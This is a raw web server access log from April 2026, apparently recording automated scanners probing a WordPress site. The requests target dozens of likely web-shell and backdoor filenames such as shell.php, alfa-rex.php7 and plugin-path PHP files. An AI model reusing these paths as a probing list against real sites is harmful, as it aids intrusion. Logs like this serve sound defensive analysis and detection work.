20.89.234.204 - - [14/Apr/2026:18:21:26 -0700] "GET /ws38.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14389**
20.89.234.204 - - [14/Apr/2026:18:21:26 -0700] "GET /a7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19933**
20.89.234.204 - - [14/Apr/2026:18:21:26 -0700] "GET /classsmtps.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21977**
20.89.234.204 - - [14/Apr/2026:18:21:26 -0700] "GET /amax.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15054**
20.89.234.204 - - [14/Apr/2026:18:21:27 -0700] "GET /CDX1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17148**
20.89.234.204 - - [14/Apr/2026:18:21:27 -0700] "GET /rip.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14856**
20.89.234.204 - - [14/Apr/2026:18:21:27 -0700] "GET /1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13402**
20.89.234.204 - - [14/Apr/2026:18:21:27 -0700] "GET /chosen.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12117**
20.89.234.204 - - [14/Apr/2026:18:21:27 -0700] "GET /css.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12208**
20.89.234.204 - - [14/Apr/2026:18:21:27 -0700] "GET /php.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14909**
20.89.234.204 - - [14/Apr/2026:18:21:28 -0700] "GET /wp-Blogs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15129**
20.89.234.204 - - [14/Apr/2026:18:21:28 -0700] "GET /wp-content/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17683**
20.89.234.204 - - [14/Apr/2026:18:21:28 -0700] "GET /wp-content/plugins/beteng88/ws83.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17421**
20.89.234.204 - - [14/Apr/2026:18:21:28 -0700] "GET /ws83.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13274**
20.89.234.204 - - [14/Apr/2026:18:21:28 -0700] "GET /file61.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13085**
20.89.234.204 - - [14/Apr/2026:18:21:28 -0700] "GET /sadcut1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12292**
20.89.234.204 - - [14/Apr/2026:18:21:29 -0700] "GET /y.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13630**
20.89.234.204 - - [14/Apr/2026:18:21:29 -0700] "GET /akcc.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12910**
20.89.234.204 - - [14/Apr/2026:18:21:29 -0700] "GET /wp-admin/user/12.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16064**
20.89.234.204 - - [14/Apr/2026:18:21:29 -0700] "GET /index/function.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19253**
20.89.234.204 - - [14/Apr/2026:18:21:29 -0700] "GET /term.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16803**
20.89.234.204 - - [14/Apr/2026:18:21:29 -0700] "GET /666.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16089**
20.89.234.204 - - [14/Apr/2026:18:21:30 -0700] "GET /7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15146**
20.89.234.204 - - [14/Apr/2026:18:21:30 -0700] "GET /wp-config-sample.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20099**
20.89.234.204 - - [14/Apr/2026:18:21:30 -0700] "GET /log.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13431**
20.89.234.204 - - [14/Apr/2026:18:21:30 -0700] "GET /a5.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14312**
20.89.234.204 - - [14/Apr/2026:18:21:30 -0700] "GET /aa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13937**
20.89.234.204 - - [14/Apr/2026:18:21:30 -0700] "GET /bolt.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17279**
20.89.234.204 - - [14/Apr/2026:18:21:31 -0700] "GET /x.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15218**
20.89.234.204 - - [14/Apr/2026:18:21:31 -0700] "GET /jga.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11837**
20.89.234.204 - - [14/Apr/2026:18:21:31 -0700] "GET /k.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14100**
20.89.234.204 - - [14/Apr/2026:18:21:31 -0700] "GET /vx.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14722**
20.89.234.204 - - [14/Apr/2026:18:21:31 -0700] "GET /ws77.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13570**
20.89.234.204 - - [14/Apr/2026:18:21:31 -0700] "GET /2.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12107**
20.89.234.204 - - [14/Apr/2026:18:21:32 -0700] "GET /abcd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12726**
20.89.234.204 - - [14/Apr/2026:18:21:32 -0700] "GET /wp-content/plugins/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17076**
20.89.234.204 - - [14/Apr/2026:18:21:32 -0700] "GET /asd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13922**
20.89.234.204 - - [14/Apr/2026:18:21:32 -0700] "GET /default.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13778**
20.89.234.204 - - [14/Apr/2026:18:21:32 -0700] "GET /gettest.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14873**
20.89.234.204 - - [14/Apr/2026:18:21:32 -0700] "GET /install.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13013**
20.89.234.204 - - [14/Apr/2026:18:21:33 -0700] "GET /tfm.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13076**
20.89.234.204 - - [14/Apr/2026:18:21:33 -0700] "GET /ws81.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12408**
20.89.234.204 - - [14/Apr/2026:18:21:33 -0700] "GET /222.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12354**
20.89.234.204 - - [14/Apr/2026:18:21:33 -0700] "GET /t.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12562**
20.89.234.204 - - [14/Apr/2026:18:21:33 -0700] "GET /wp-admin/maint/index.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16993**
20.89.234.204 - - [14/Apr/2026:18:21:33 -0700] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11651**
20.89.234.204 - - [14/Apr/2026:18:21:34 -0700] "GET /a.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17388**
20.89.234.204 - - [14/Apr/2026:18:21:34 -0700] "GET /a1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18630**
20.89.234.204 - - [14/Apr/2026:18:21:34 -0700] "GET /onclickfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17701**
20.89.234.204 - - [14/Apr/2026:18:21:34 -0700] "GET /w.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12017**
20.89.234.204 - - [14/Apr/2026:18:21:34 -0700] "GET /wp-admin/maint/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27656**
20.89.234.204 - - [14/Apr/2026:18:21:34 -0700] "GET /wp-content/plugins/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19862**
20.89.234.204 - - [14/Apr/2026:18:21:35 -0700] "GET /wp-good.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12546**
20.89.234.204 - - [14/Apr/2026:18:21:35 -0700] "GET /.info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13231**
20.89.234.204 - - [14/Apr/2026:18:21:35 -0700] "GET /config.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12296**
20.89.234.204 - - [14/Apr/2026:18:21:35 -0700] "GET /item.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13238**
20.89.234.204 - - [14/Apr/2026:18:21:35 -0700] "GET /m.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13107**
20.89.234.204 - - [14/Apr/2026:18:21:35 -0700] "GET /rh.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13966**
51.68.111.205 - - [14/Apr/2026:19:08:49 -0700] "GET /robots.txt HTTP/1.1" 200 96 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 9 **0/9248**
51.68.111.205 - - [14/Apr/2026:19:08:49 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 11 **0/11831**
176.65.132.19 - - [14/Apr/2026:19:12:48 -0700] "GET /wp-login.php HTTP/1.1" 200 1 "https://wordpress.org/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0" 23 **0/23584**
176.65.132.19 - - [14/Apr/2026:19:12:49 -0700] "GET /wp-admin/ HTTP/1.1" 200 1 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20624**
20.63.209.197 - - [14/Apr/2026:19:37:34 -0700] "GET /100.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 34 **0/34067**
20.63.209.197 - - [14/Apr/2026:19:37:35 -0700] "GET /7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23165**
20.63.209.197 - - [14/Apr/2026:19:37:35 -0700] "GET /php8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12676**
20.63.209.197 - - [14/Apr/2026:19:37:35 -0700] "GET /shell.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14639**
20.63.209.197 - - [14/Apr/2026:19:37:35 -0700] "GET /adminfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 56 **0/56855**
20.63.209.197 - - [14/Apr/2026:19:37:35 -0700] "GET /wp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 34 **0/34953**
20.63.209.197 - - [14/Apr/2026:19:37:35 -0700] "GET /classwithtostring.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12460**
20.63.209.197 - - [14/Apr/2026:19:37:36 -0700] "GET /abcd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12979**
20.63.209.197 - - [14/Apr/2026:19:37:36 -0700] "GET /as.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16741**
20.63.209.197 - - [14/Apr/2026:19:37:36 -0700] "GET /Exception-class.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14008**
20.63.209.197 - - [14/Apr/2026:19:37:36 -0700] "GET /1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13032**
20.63.209.197 - - [14/Apr/2026:19:37:36 -0700] "GET /222.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14228**
20.63.209.197 - - [14/Apr/2026:19:37:36 -0700] "GET /item.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13880**
20.63.209.197 - - [14/Apr/2026:19:37:37 -0700] "GET /past.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12975**
20.63.209.197 - - [14/Apr/2026:19:37:37 -0700] "GET /t.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15685**
20.63.209.197 - - [14/Apr/2026:19:37:37 -0700] "GET /license.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12691**
20.63.209.197 - - [14/Apr/2026:19:37:37 -0700] "GET /b.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11689**
20.63.209.197 - - [14/Apr/2026:19:37:37 -0700] "GET /network.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16863**
20.63.209.197 - - [14/Apr/2026:19:37:37 -0700] "GET /V5.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18531**
20.63.209.197 - - [14/Apr/2026:19:37:38 -0700] "GET /g.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20298**
20.63.209.197 - - [14/Apr/2026:19:37:38 -0700] "GET /dialog.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14375**
20.63.209.197 - - [14/Apr/2026:19:37:38 -0700] "GET /in.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15026**
20.63.209.197 - - [14/Apr/2026:19:37:38 -0700] "GET /media.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19223**
20.63.209.197 - - [14/Apr/2026:19:37:38 -0700] "GET /my1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28172**
20.63.209.197 - - [14/Apr/2026:19:37:38 -0700] "GET /f35.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14626**
20.63.209.197 - - [14/Apr/2026:19:37:39 -0700] "GET /alfa-rex.php7 HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16845**
20.63.209.197 - - [14/Apr/2026:19:37:39 -0700] "GET /ee.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22449**
20.63.209.197 - - [14/Apr/2026:19:37:39 -0700] "GET /ggfi.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11224**
20.63.209.197 - - [14/Apr/2026:19:37:39 -0700] "GET /b1ack.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11524**
20.63.209.197 - - [14/Apr/2026:19:37:39 -0700] "GET /bak.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12554**
20.63.209.197 - - [14/Apr/2026:19:37:39 -0700] "GET /inputs.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17294**
20.63.209.197 - - [14/Apr/2026:19:37:40 -0700] "GET /system_log.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16531**
20.63.209.197 - - [14/Apr/2026:19:37:40 -0700] "GET /lol.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12079**
20.63.209.197 - - [14/Apr/2026:19:37:40 -0700] "GET /geju.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12195**
20.63.209.197 - - [14/Apr/2026:19:37:40 -0700] "GET /class-t.api.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17925**
20.63.209.197 - - [14/Apr/2026:19:37:40 -0700] "GET /css.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12460**
20.63.209.197 - - [14/Apr/2026:19:37:40 -0700] "GET /xx.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15379**
20.63.209.197 - - [14/Apr/2026:19:37:41 -0700] "GET /0.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18516**
20.63.209.197 - - [14/Apr/2026:19:37:41 -0700] "GET /x.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12748**
20.63.209.197 - - [14/Apr/2026:19:37:41 -0700] "GET /wp-blog-header.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20126**
20.63.209.197 - - [14/Apr/2026:19:37:41 -0700] "GET /randkeyword.PhP7 HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23833**
20.63.209.197 - - [14/Apr/2026:19:37:41 -0700] "GET /ultra.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11586**
20.63.209.197 - - [14/Apr/2026:19:37:41 -0700] "GET /up.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24403**
20.63.209.197 - - [14/Apr/2026:19:37:42 -0700] "GET /y.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 31 **0/31738**
20.63.209.197 - - [14/Apr/2026:19:37:42 -0700] "GET /13.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17018**
